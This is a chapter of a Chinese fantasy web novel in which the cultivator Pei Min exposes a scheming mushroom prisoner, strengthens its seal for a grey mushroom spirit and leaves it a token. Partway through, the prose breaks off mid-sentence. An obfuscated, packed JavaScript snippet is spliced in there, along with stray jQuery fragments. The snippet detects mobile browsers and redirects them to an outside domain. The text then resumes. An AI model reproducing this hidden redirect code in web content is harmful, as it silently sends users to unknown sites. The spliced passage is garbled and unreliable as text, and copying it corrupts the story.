39.是人吗?你就演(16)
作品:《怎么死了也要救世啊?》 “没有!”花蘑菇如同鬼上身一半,癫狂地开始摇起伞盖来,“你懂什么!”
“妖兽血脉不够纯,实验的修士天赋也不够高!自然承受不住妖兽血脉。”
“实验没有失败!没有!”
“只要再给我一段时间,我一定能——”
“哦——”裴悯慢条斯理地打断了花蘑菇,“没关系,实验失败你想怪材料就怪材料,愿意怪工具就怪工具,顺便再头朝西磕三个响头试试能不能求上天保佑。”
“不过这位不知道该称呼您为策划者还是参与者的……东西,看起来你自己的天赋也不怎么样,拿自己做实验也没成功。”
“按结果来看,我想天道大概是拒绝了你的愿望,又顺手踹了你这人头畜鸣的家伙一脚。”
裴悯语速不快,但此番话浑然一体,花蘑菇愣是没找到什么地方回击。
气得火冒三丈,怒火攻心之下更是一个字也说不出来。
花蘑菇自闭了。
【等等等等裴慈心,】掩日想得抓耳挠腮抓心挠肝,来来回回把花蘑菇的话复盘了几遍,也没找出什么不对的地方来,眼看着再想不通就要成为一辈子的遗憾,连忙问道,【他哪儿暴露了?】
【你是说一个人类修士在变成蘑菇之后,顺理成章地忘记了怎么说话,并且蘑菇语丝滑上位成为母语?】
面对自家孩子,裴悯还是十分耐心地解答。
【这里里外外,全是小灰一家。如若他真是监守者,成了一个连灵力都没有的弱鸡,你作为小灰,实力强大后是会留着他,还是杀了他永绝后患?】
【还有,以这个域主对人类的敌视程度,你觉得他让修士看守妖兽的可能大,还是让妖兽看守修士的可能性大?】
【当然,说一千道一万,暴露最大的其实是困住他们的阵法。】
【这个阵法真正的束缚对象是花蘑菇,你看锁链和符文大多集中在他身上,所以他才一直半死不活的样儿。】
【至于这个戏楼嘛,可能是监狱,也可能是受害者的避风塘,总之和我们没什么关系。】
她只是万千玩家中的一个,通关才是正道。
掩·法盲——啊呸,阵法盲·日认真听讲,并提出疑问,【那他给的那个阵法……】
【以我的灵魂和躯体为引,抹杀掉小灰的意识。】
裴悯解答完毕,看着灰蘑菇作为当事人,依旧云里雾里,恨铁不成钢地一脚踹在阵法上,“笨蘑菇。”
“叽叽叽叽叽!”
怎么又打它!
灰蘑菇被打怕了,咕叽一声委屈地收拢伞盖。
裴悯扯过一缕菌丝,把“囚犯差点杀掉你越狱”这件事掰开揉碎了,从头到尾仔仔细细地和灰蘑菇讲清楚。
然后她就收获了两只自闭的蘑菇。
“怎么样?”裴悯讲得口干舌燥,声音也放轻了几分,像是飘在水面的鱼饵,“要不要我帮你杀了他。”
“不!”灰蘑菇快速地抬起伞盖,颤抖但坚定地道,“不、不用了。”
“你帮我加固下阵法就好了。”
“加固阵法?”裴悯眼波一横,擦过黯然沉抑的花蘑菇,挑了挑眉,“那你给我什么报酬?”
她想杀蘑菇,为了达到目的可以无偿帮它。
至于囚禁,那是另外的价钱。
“……”灰蘑菇沉寂了片刻,脑子才接上裴悯的思路,“你弄个容器进来,最好是寒沉玉的。”
寒沉玉。
封闭性强,触手温凉,常用于储存各种需要维持较低温度的灵草。
裴悯在储物戒里翻翻找找,最后在犄角旮旯里翻出一个寒沉玉做的玉瓶,她独断专行地把里头的灵草赶去住双人间后,递给菌丝。
菌·快递员·丝拉着玉瓶沉入地底。
沉闷的灰蘑菇突然爆发出一阵苍天为之下坠,大地为之崩裂的哭声。
“叽叽,叽叽,叽叽——”
呜哇,呜哇,呜哇——
“叽叽叽叽!”
被人骗啦!
“叽叽叽叽叽叽!”
蘑菇命真苦啊!
随着灰蘑菇的嚎天喊地,白玉色的颗粒从伞盖的褶皱下簌簌往下落,铺天盖地,纷纷扬扬,宛若六月飞雪,迅速装满了整个玉瓶,也在花蘑菇伞盖上积了厚厚一层。
“我的、我的孢子。”灰蘑菇抽抽噎噎道,“报酬,我只有这个了。”
菌丝卖力地挖着地,探头探脑地将玉瓶递到裴悯手边。
透过薄薄的瓶身,玉白色的孢子漂浮在空中,像是装了一捧融化的烟雾。
裴悯没说话。
“要不你再装一点?”
灰蘑菇生怕裴悯不答应。
“不用了。”裴悯抛了抛玉瓶,手腕一转收入储物戒中,轻轻一笑,“谁让我心眼小,见不得人好呢。”
花蘑菇好似对自己的死活毫不关心,只默默抖了抖伞盖,将头上的孢子抖落在地上。
裴悯懒懒地伸展筋骨,骨骼发出咯吱咯吱的响声,指尖的符文渐渐成型,殿中又陷入寂静之中。
“我很笨的。”灰蘑菇突然出声道,“学人类语言,总也学不会。”
“一个字一个词要他反复教很多很多遍。”
这个他是谁,不言而喻。
“他学蘑菇语学得比我快。”
“平时没有谁陪我说话,我叽里咕噜说什么他都听。”
裴悯没有打断它,也没有回应它,静静的画着法阵。
“我以为他已经放弃了。”
“为什么……”
“没关系。”晶莹的汗珠从额头滚落,加固阵法逐渐形成闭合,裴悯面色苍白,毫无开导蘑菇之意,平静地陈述事实,“在很长一段时间内,他会独属于你。”
封印灵力,剥夺五感,陷入混沌,丧失交流能力,沟通途径只剩下识海。
在原有阵法的基础上,叠加一个稍加改动的枕黄粱。
完美!
面对客人的要求,她可是专业的。
裴悯满意地画下最后一笔。
沉入黑暗前一秒,花蘑菇听见那个裴姓修士嚣张的声音落在耳边。
“还没告诉你。”
“我叫裴悯,玄同宗那个裴悯。”
伞盖上最后一点孢子散落开来,灰白菌丝泄愤般接住软倒的花蘑菇。
灰蘑菇情绪还低落着,却仍记得之前花蘑菇教的“别人说话要回答才有礼貌”,挑了个自己觉得不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16420968|176270||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出错的角度问道,“玄同宗是什么啊?能吃吗?”
“……不能吃,是我家。”
裴悯语重心长地教导蘑菇,“你要记住,听不懂的话就不是说给你听的。”
“哦……”
这个小妖应该不会骗它吧?毕竟和蘑菇长得那么像。
灰蘑菇半懂不懂,语气里充满了期待,“那我要找你的话,是不是要去你家?”
“你要找我?”裴悯这才把被她抛之脑后的龟长老找回来,一点儿没有负担地学习了他的思路。
置换符无火自燃,白色玉牌叮当一声稳稳落在灰蘑菇头顶上。
“诺,信物。”
【你上哪儿批发的信物。】掩日,【我记得之前你也给过许应莲一块。】
裴悯不见半分被拆穿的尴尬,【振兴宗门,我这是为玄同宗的未来殚精竭虑,收拢人才。】
【切。】鬼的话都比裴悯可信,作为目睹一切的剑证,掩日深有所感。
【一个执念已了不知道消失没有的鬼,还有一个画地为牢的弱智失学蘑菇。】
【连人都不是。】
【贵精不贵多。】裴悯心态倒是极好,【要不我给你也发一个?】
【我怎么能要这种东西呢,你留给更需要的人吧。】
【真不要?】裴悯坏心眼地逗它,【破月——】
【啊?】破月正和于灵的残魂玩得不亦乐乎,没听清裴悯说什么就满口答应下来,【姐姐我要!】
【我要金镶玉雕花镂空独家定制刻上掩日两个字的。】
掩日生动演绎什么叫做口嫌体直。
灰白的菌丝在玉牌上摩挲来摩挲去,仔仔细细地将玉牌每一个角落都把玩地干干净净后,灰蘑菇依依不舍地看向裴悯,“可是,我没有东西和你交换。”
“我只有孢子,可你也不要了。”
“不用交换。”裴悯指节曲起,不轻不重敲了敲阵法,双手往颈后一背,“送你的。”
见到了幕后蘑菇的庐山真面目,有关月岚宗的消息更是意外之喜,裴悯心情不错地哼着小调,准备回去和她的床相亲相爱。
正准备如法炮制,把自己置换出去,裴悯摸向符篆的手落了空。
她忘了,最后一张置换符刚刚被她用掉了。
“唉。”裴悯叹了口气,食指中指并拢,认命地在剑锋上一抹。
指尖传来刺痛,痛感沿着经脉攀延,连手腕也变得沉重,先前暂时搁置的伤口一个接一个地跳出来找存在感。
在衣服上挑挑拣拣,找到一块没被血沾污的地儿,裴悯速战速决,血红符文一划到底,灰蘑菇只来得及瞥见一抹青色的衣角消失在原地。
“嘶——靠!”
啪叽一声掉在一块圆形石头上,裴悯扶着手腕,毫无缓冲地摔了个七荤八素,脑浆都快摔匀了,没忍住爆了句粗口。
【你手怎么了?】对裴悯的屁股置之不理,掩日对她的手投之以关心。
【可能刚刚画阵法画多了,腱鞘炎?】裴悯灵力在手腕处过了几遍,也说不出个所以然来。
琢磨半天,裴悯以非专业医修的身份,给自己开了个名为“多喝热水”的万能方子。
【睡一觉就好了!】